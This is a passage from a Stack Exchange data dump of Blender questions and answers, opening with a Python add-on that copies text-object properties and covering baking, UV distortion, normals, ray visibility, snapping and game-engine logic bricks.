text_prop_copier():&#xA;&#xA;        if context.active_object.type != 'FONT':&#xA;            return False&#xA;&#xA;        active = bpy.data.curves[context.active_object.name]&#xA;&#xA;        for ob in context.selected_objects:&#xA;            if ob.type == 'FONT':&#xA;                text = bpy.data.curves[ob.name]&#xA;&#xA;                # collect names of writeable properties&#xA;                properties = [p.identifier for p in active.bl_rna.properties if not p.is_readonly]&#xA;&#xA;                # copy those properties (prop != 'body') will skip from setting body property same as active object this changes all other properties but text content&#xA;&#xA;                for prop in properties:&#xA;                    if (not prop.startswith('texspace') ) and (prop != 'name') and (prop != 'body') :&#xA;                        print(prop, 'copied')&#xA;                        setattr(text, prop, getattr(active, prop))&#xA;&#xA;        return True&#xA;&#xA;class   tex_prop_cop(Operator):  &#xA;&#xA;        &quot;&quot;&quot;copy active text object properties to selected&quot;&quot;&quot;        &#xA;        bl_idname = &quot;fonts.prop_copy&quot;   &#xA;        bl_label = &quot;copy text properties&quot;           &#xA;        bl_options = {'REGISTER', 'UNDO'}       &#xA;&#xA;&#xA;        def invoke(self, context, event):   &#xA;                if text_prop_copier():&#xA;                    self.report({'INFO'},&quot;properties copied&quot;)&#xA;                return {'FINISHED'}&#xA;&#xA;&#xA;def addObject(self, context):&#xA;    self.layout.operator(&#xA;        tex_prop_cop.bl_idname,&#xA;        text = tex_prop_cop.bl_label,&#xA;        icon = 'PLUGIN')&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(tex_prop_cop)&#xA;    bpy.types.VIEW3D_MT_object.append(addObject)&#xA;    print(&quot;register done&quot;)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(tex_prop_cop)&#xA;    bpy.types.VIEW3D_MT_object.remove(addObject)&#xA;    print(&quot;unregister done&quot;)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="778" LastEditDate="2016-09-08T16:36:12.557" LastActivityDate="2016-09-08T16:36:12.557" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26610" PostTypeId="1" AcceptedAnswerId="26612" CreationDate="2015-03-04T23:17:11.023" Score="5" ViewCount="655" Body="&lt;p&gt;So the objective is to get it to look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bbuyX.jpg&quot; alt=&quot;https://www.dropbox.com/s/d8urd4cazzo7dcu/Rendered.png?dl=1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend file &lt;a href=&quot;http://pasteall.org/blend/34831&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pasteall.org/blend/34831&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using cycles render for the material and I want to bake it out so it looks like it does in the render above. The black material bakes out fine with combined as a setting; however, the metal material will not seem to bake out properly no matter the setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="12961" LastEditorUserId="12961" LastEditDate="2015-03-05T00:13:09.373" LastActivityDate="2015-03-05T00:13:09.373" Title="How can I manage to bake this out?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26612" PostTypeId="2" ParentId="26610" CreationDate="2015-03-04T23:31:11.123" Score="3" Body="&lt;p&gt;This is because the glossy metal material will appear different from different camera angles. So it's impossible to bake it to a single static image and have it look like it should from any given camera angle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was &lt;a href=&quot;https://developer.blender.org/T40375&quot; rel=&quot;nofollow&quot;&gt;a patch&lt;/a&gt; which allowed for glossy materials to be baked as if they were being viewed from a single pre-defined point, however it was removed from master shortly after it was added.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-03-04T23:31:11.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26613" PostTypeId="1" CreationDate="2015-03-04T23:40:57.817" Score="0" ViewCount="365" Body="&lt;p&gt;I am using the &lt;a href=&quot;https://i.stack.imgur.com/Pg6Y2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Logitech G502 Gaming Mouse&lt;/a&gt;, when I try to rotate the view with the scroll wheel, Blender doesn't respond.  I recently updated to 2.73, but the mouse worked fine with 2.69.&lt;/p&gt;&#xA;" OwnerUserId="12963" LastActivityDate="2015-03-04T23:40:57.817" Title="Mouse wheel view rotation not working in 2.73" Tags="&lt;3d-view&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26614" PostTypeId="1" AcceptedAnswerId="26631" CreationDate="2015-03-05T00:03:54.063" Score="1" ViewCount="756" Body="&lt;p&gt;i am trying to get clean straight UV map lines for an object with texture without trilling or distortion. &#xA; as you can see in the picture , a few lines are nice and clean , some others are distorted and a bit trilled and not completely straight .&#xA;it gives a bit of a non professional look. ok i am not professional , but still...i  want things to work out at it's best where i can. &#xA; all lines should be nice and straight , and not just a few of them . &#xA;the UV map that i have used is the basic unwrap. nothing special . &#xA; i like this result , except for the distortion problem. &#xA; but how can i fix the distorted lines ?&#xA;first of all , they should have never been distorted since i never changed something in the UV map  to get them distorted at the lines. &#xA; we can see most of the lines are distorted at one side and the other side they are nice and straight. &#xA; how do i get them nice and straight at both sides ?&#xA;i don't want to change the arrangement of how the lines are running , just want to get the distortion out of the lines.&#xA;i would think something is wrong with the UV map , but it is the basic UV map , nothing should be wrong with it , &#xA;anyone ?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EHYhz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12908" LastActivityDate="2015-03-05T04:31:39.093" Title="Why my texture lines show up distorted and not completely straight at few parts?" Tags="&lt;texturing&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26615" PostTypeId="2" ParentId="26614" CreationDate="2015-03-05T00:31:10.863" Score="3" Body="&lt;p&gt;your UV sphere has uneven faces but the unwraping made them even, distorting the texture&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pZcHP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-05T00:31:10.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26616" PostTypeId="1" AcceptedAnswerId="26617" CreationDate="2015-03-05T00:50:32.800" Score="0" ViewCount="735" Body="&lt;p&gt;I have made a model of a building. I was using the make face tool, but when I extruded it, it was a different color than the rest.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OPmJj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its not any different material or anything either...&#xA;&lt;img src=&quot;https://i.stack.imgur.com/g158c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10928" LastActivityDate="2015-03-05T00:58:17.660" Title="Different Color When Rendered? (Not Material)" Tags="&lt;rendering&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26617" PostTypeId="2" ParentId="26616" CreationDate="2015-03-05T00:51:35.510" Score="6" Body="&lt;p&gt;You need to &lt;strong&gt;reset your normals&lt;/strong&gt;, go into edit mode, select everything &lt;kbd&gt;A&lt;/kbd&gt;, and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;N&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens when blender incorrectly guesses which way the &lt;a href=&quot;https://blender.stackexchange.com/questions/21190/what-are-face-normals/&quot;&gt;&lt;strong&gt;face normal&lt;/strong&gt;&lt;/a&gt; should be pointing when you make a face, it happens from time to time.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-03-05T00:58:17.660" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26618" PostTypeId="1" CreationDate="2015-03-05T01:33:22.367" Score="2" ViewCount="172" Body="&lt;p&gt;Is there a plugin or an automated way to add a whole directory of videos and have a cross fade added between each of them in Blender?&lt;/p&gt;&#xA;" OwnerUserId="218" LastActivityDate="2015-03-13T02:56:15.740" Title="Plugin to add several video clips with cross fades between them all?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="13" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26619" PostTypeId="1" AcceptedAnswerId="26623" CreationDate="2015-03-05T01:53:57.923" Score="5" ViewCount="1158" Body="&lt;p&gt;In cycles, how can I make an object opaque to the camera, but transparent to light?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this can be done in compositing, but is there a way to do it at render time.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastEditorUserId="599" LastEditDate="2015-03-05T02:26:58.247" LastActivityDate="2015-03-05T02:37:34.003" Title="Blocking the camera without blocking lights" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26620" PostTypeId="2" ParentId="26607" CreationDate="2015-03-05T01:56:48.793" Score="5" Body="&lt;p&gt;You can do this somewhat easily by using a logic setup similar to this.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s45YG.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It basically works by having your button that triggers the weapon change (in this case we are using &lt;kbd&gt;X&lt;/kbd&gt;) assign a Boolean property &lt;code&gt;Playing Animation?&lt;/code&gt;  to be true.&#xA;When this property is true, it adds to the &lt;code&gt;frame&lt;/code&gt; property. This plays the animation. once this is working, it is fairly easy to make it so that it will Not fire when the animation is playing. To do this simply have a property sensor detect when the Boolean &lt;code&gt;Playing Animation?&lt;/code&gt; is &lt;strong&gt;false&lt;/strong&gt;. When it is false, you can press &lt;kbd&gt;Spacebar&lt;/kbd&gt; (or any other key) and it will shoot your projectile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be seen here. When the animation is playing it will not shoot the plasma blasts. &#xA;(it is a jump animation here, but it could be anything, that includes a weapon reloading)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Dd2r.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we shorten the delay between pulses for the keyboard sensor, the plasma coil will fire faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1qcWH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/67/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=67&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-03-11T01:28:08.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26621" PostTypeId="2" ParentId="26619" CreationDate="2015-03-05T02:01:35.290" Score="5" Body="&lt;p&gt;Uncheck &lt;em&gt;Shadow&lt;/em&gt; in the &lt;em&gt;Ray Visibility&lt;/em&gt; options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xvUbj.jpg&quot; alt=&quot;Ray Visibility &amp;gt; Shadow&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FcTjM.gif&quot; alt=&quot;Example Usage&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes it so that the object does not cast shadows, and as you can see, the plane is illuminated as if the sphere was not even there, while the sphere itself is still illuminated properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be tedious to set this setting for each object, so there is a shortcut. Select all the objects you want to have this setting, then change the setting (all still selected) and right-click on the checkbox and choose &lt;em&gt;Copy to Selected&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QlIJ6.gif&quot; alt=&quot;Set Multiple&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-03-05T02:37:34.003" LastActivityDate="2015-03-05T02:37:34.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26622" PostTypeId="2" ParentId="26619" CreationDate="2015-03-05T02:03:44.510" Score="1" Body="&lt;p&gt;I'm just guessing here, so I could be wrong. But the &quot;Light Path&quot; node has an output value that tells you if the light ray is heading for the camera. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f2Mo5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be able to use this as the fac input of a &quot;Mix Shader&quot; node. It might still generate a bit of a shadow because some of the light is being blocked by the object.&lt;/p&gt;&#xA;" OwnerUserId="12784" LastActivityDate="2015-03-05T02:03:44.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26623" PostTypeId="2" ParentId="26619" CreationDate="2015-03-05T02:23:48.890" Score="7" Body="&lt;p&gt;You can do the same as you would if you wanted to make the object invisible to the camera yet still cast shadows etc, only in reverse:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a1qNd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is equivalent to disabling Shadow ray visibility as &lt;a href=&quot;https://blender.stackexchange.com/a/26621/599&quot;&gt;NoviceInDisguise answered&lt;/a&gt;, but with nodes instead. Note that disabling the ray visibility in the object panel helps rendertimes a little more than using nodes, but if you want to use it inside a larger setup it may be necessary to use nodes.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-03-05T02:23:48.890" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26624" PostTypeId="1" AcceptedAnswerId="26626" CreationDate="2015-03-05T03:22:56.657" Score="0" ViewCount="1123" Body="&lt;p&gt;Im new to blender, so please explain the answer clearly. I don't know what I did, but now, my meshes only move in Blender Units - it's understandably annoying. The only way they move more or less freely is when I hold the control Key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using blender 2.72b&lt;/p&gt;&#xA;" OwnerUserId="12967" LastActivityDate="2015-03-05T03:41:40.170" Title="Mesh only moves in Blender units" Tags="&lt;objects&gt;&lt;units&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-03-05T08:58:29.043" ContentLicense="CC BY-SA 3.0" />
  <row Id="26626" PostTypeId="2" ParentId="26624" CreationDate="2015-03-05T03:41:40.170" Score="1" Body="&lt;p&gt;This is from snapping. You must've accidently turned it on. Click the magnet again to turn it off. You can find it at the bottom of the 3D viewport (the main window.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eCNWb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you &lt;em&gt;know&lt;/em&gt; it's on, snapping is a helpful tool to move stuff exact distances without having to type it in.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-03-05T03:41:40.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26627" PostTypeId="2" ParentId="26608" CreationDate="2015-03-05T03:57:58.400" Score="2" Body="&lt;p&gt;There are multiple ways you can make your logic setup more workable.&lt;/p&gt;&#xA;&lt;p&gt;One of the simplest is to use messages to trigger events between multiple objects.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uooIE.png&quot; alt=&quot;Cube a and Cube b&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;         Cube A                                                                   Cube B&lt;/h1&gt;&#xA;&lt;p&gt;Logic setup for &lt;strong&gt;Cube A&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nxJ17.png&quot; alt=&quot;Cube A's logic&quot; /&gt;&#xA;Logic setup or &lt;strong&gt;Cube B&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6cGl4.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;This could be the same thing as this logic setup, only when you are dealing with many more objects, and with more logic bricks, it gets &lt;em&gt;Very&lt;/em&gt; confusing, &lt;em&gt;Very&lt;/em&gt; fast.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Yew9y.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;Based on this, we can conclude that when anything collides with &lt;strong&gt;cube A&lt;/strong&gt;, a message will be sent to &lt;strong&gt;Cube B&lt;/strong&gt; (&lt;code&gt;ThisCouldBeAnything&lt;/code&gt;) When &lt;strong&gt;Cube B&lt;/strong&gt; receives this message, it will play the animation of itself spinning around 360°&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ThLVO.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/68/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=68&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-11T01:25:50.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26629" PostTypeId="2" ParentId="26608" CreationDate="2015-03-05T04:21:52.950" Score="4" Body="&lt;p&gt;Another easy thing you can do to temporarily simplify your logic editor is unchecking the &lt;strong&gt;Link&lt;/strong&gt; check box&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This logic mess may seem a bit overwhelming&#xA;&lt;img src=&quot;https://i.stack.imgur.com/C8bB3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply un-checking the &lt;strong&gt;Link&lt;/strong&gt; box can Significantly simplify your workspace, at least long enough to figure out what you were trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sK06t.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA; When you have wires connecting bricks across multiple objects, and especially when you have scroll bars and hundreds of wires between your bricks, you can sometimes forget what you were trying to do before you find the right sensor or actuator.&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-03-05T16:59:22.293" LastActivityDate="2015-03-05T16:59:22.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26631" PostTypeId="2" ParentId="26614" CreationDate="2015-03-05T04:31:39.093" Score="1" Body="&lt;p&gt;i found the answer by myself by accident , &#xA;it was quite obvious afterwards , &#xA;all i had to do is to increase the amount of subdivisions , &#xA;all the lines are perfect smooth and straight now ! no more distortion. &#xA;it's beautiful. &lt;/p&gt;&#xA;" OwnerUserId="12908" LastActivityDate="2015-03-05T04:31:39.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26632" PostTypeId="2" ParentId="26608" CreationDate="2015-03-05T04:37:17.157" Score="2" Body="&lt;p&gt;There are two more methods you might find useful when trying to organize your logic.  They are &lt;em&gt;Very&lt;/em&gt; basic but are usually sub-consciously ignored. Many blender users (myself included) are guilty of this.&#xA; &#xA; &#xA; &lt;/p&gt;&#xA;&lt;h1&gt;                                            Name the logic&lt;/h1&gt;&#xA;&lt;h1&gt;                                   Arrange the logic &lt;em&gt;&lt;strong&gt;sensibly&lt;/strong&gt;&lt;/em&gt;.&lt;/h1&gt;&#xA;&lt;p&gt;Compare this&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hvLak.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To this&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/thQB4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;It technically does the same thing, but it Much harder to decipher in case you ever needed to edit something.&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-05T04:37:17.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26634" PostTypeId="1" CreationDate="2015-03-05T08:02:49.550" Score="1" ViewCount="359" Body="&lt;p&gt;I am trying to use a gobo in cycles but having no luck at all. Seems that the transparency is not working. What am I doing wrong? Is the PNG broken?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Douglas E Knapp&lt;/p&gt;&#xA;" OwnerUserId="12972" LastEditorDisplayName="user1853" LastEditDate="2015-11-30T22:13:27.320" LastActivityDate="2015-11-30T22:22:05.593" Title="Transparent gobo not working" Tags="&lt;cycles-render-engine&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26635" PostTypeId="1" AcceptedAnswerId="26649" CreationDate="2015-03-05T08:07:29.380" Score="15" ViewCount="16150" Body="&lt;p&gt;Sometimes I see &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; online but I don't notice a difference between it or just using &lt;kbd&gt;S&lt;/kbd&gt;. What does &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; do? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't get Blender wiki's brief explanation.&lt;/p&gt;&#xA;" OwnerUserId="3109" LastEditorUserId="3109" LastEditDate="2015-03-05T17:59:43.757" LastActivityDate="2017-08-08T21:03:53.787" Title="What's the difference between pressing S and Alt+S?" Tags="&lt;transforms&gt;&lt;shortcut&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26636" PostTypeId="1" AcceptedAnswerId="26639" CreationDate="2015-03-05T08:23:31.620" Score="12" ViewCount="19302" Body="&lt;p&gt;I want to be able to toggle &quot;Material&quot; view mode by using hotkey.&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Z&lt;/kbd&gt; toggles rendered mode and &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Z&lt;/kbd&gt; toggles textured mode.&lt;br&gt;&#xA;I want my hotkey to toggle material mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to assign a new hotkey with the following command I copied from console window: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.space_data.viewport_shade = 'MATERIAL'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it didn't work.&lt;/p&gt;&#xA;" OwnerUserId="12973" LastEditorUserId="20508" LastEditDate="2016-07-19T12:07:33.093" LastActivityDate="2019-07-13T13:12:10.343" Title="How to toggle material view mode by hotkey (similar to Alt-Z/Shift-Z)" Tags="&lt;3d-view&gt;&lt;shortcut&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26637" PostTypeId="2" ParentId="26634" CreationDate="2015-03-05T08:50:33.780" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;You have unwrapped your object but didn't use the UV coordinates&lt;/li&gt;&#xA;&lt;li&gt;you are using the color from the image instead of the alpha&lt;/li&gt;&#xA;&lt;li&gt;the non transparent part of the object is better to have a material &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;here is node setup for the object :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3mxlo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if you want the other part to be transparent switch the order of the 'transparent' and 'diffuse'&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-05T08:50:33.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26638" PostTypeId="1" CreationDate="2015-03-05T09:04:29.997" Score="0" ViewCount="63" Body="&lt;p&gt;I am creating a simple 3d model like a brick. &#xA;I want to add bavel for rounded corner and edge with same width.&#xA;But I did it failed, each face with different rounded curve.&#xA;Can anyone teach me how to did it well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my 3d model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.dropbox.com/s/q7njgz161u2trof/untitled.dae?dl=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my model width x height x depth = 2.1 x 6 x 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12974" LastActivityDate="2015-03-05T09:04:29.997" Title="Create nor equal side of cube with fixed width of bavel?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26639" PostTypeId="2" ParentId="26636" CreationDate="2015-03-05T09:15:14.533" Score="14" Body="&lt;p&gt;You can add the new shortcut by :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;go to &lt;em&gt;User_Preferences &gt; Input &gt; 3D_View &gt; 3D_view(Global) &gt; Add_New&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;setup the new shortcut as follows ( &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt; + &lt;kbd&gt;Q&lt;/kbd&gt; are just an example choose your own ) :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yUPlq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="20508" LastEditDate="2016-07-19T12:08:24.050" LastActivityDate="2016-07-19T12:08:24.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26640" PostTypeId="1" CreationDate="2015-03-05T09:29:24.997" Score="0" ViewCount="803" Body="&lt;p&gt;I have a face appearing in object mode which is not present in edit mode. Does anyone know why or what to do to remove it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The screenshots show the problem clearly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit mode showing no face:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TmNDq.png&quot; alt=&quot;Edit mode showing no face&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Object mode showing a face:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DtI5R.png&quot; alt=&quot;Object mode showing a face&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Andrew&lt;/p&gt;&#xA;" OwnerUserId="12975" LastActivityDate="2015-03-05T09:29:24.997" Title="Why is a face appearing in Object mode but not Edit mode?" Tags="&lt;editing&gt;&lt;faces&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-03-05T11:00:42.603" ContentLicense="CC BY-SA 3.0" />
  <row Id="26642" PostTypeId="2" ParentId="2558" CreationDate="2015-03-05T09:55:42.753" Score="5" Body="&lt;p&gt;&lt;em&gt;Your glass is dark, or the space behind is dark due to your render settings.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;strong&gt;need to make sure caustics is turned on&lt;/strong&gt; or the glass will be dark and will not transmit light regardless of your transmission passes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZqJsT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I struggled with glass and water for some time as well, and unless you have caustics enabled it will never come out right or behave correctly regardless of what shader mix you use. &lt;/p&gt;&#xA;" OwnerUserId="12977" LastEditorUserId="3710" LastEditDate="2015-03-05T10:32:17.417" LastActivityDate="2015-03-05T10:32:17.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26643" PostTypeId="1" AcceptedAnswerId="26644" CreationDate="2015-03-05T10:48:24.440" Score="23" ViewCount="2709" Body="&lt;p&gt;Is it possible to take arbitrary properties and display them in the render stamp as some other software do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KCBMW.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KCBMW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;(Click the image for larger version)&lt;/p&gt;&#xA;" OwnerUserId="8282" LastEditorUserId="55" LastEditDate="2015-06-06T13:06:53.737" LastActivityDate="2021-02-27T18:05:48.393" Title="How to show render-stamp for arbitrary values?" Tags="&lt;rendering&gt;&lt;customization&gt;&lt;image&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
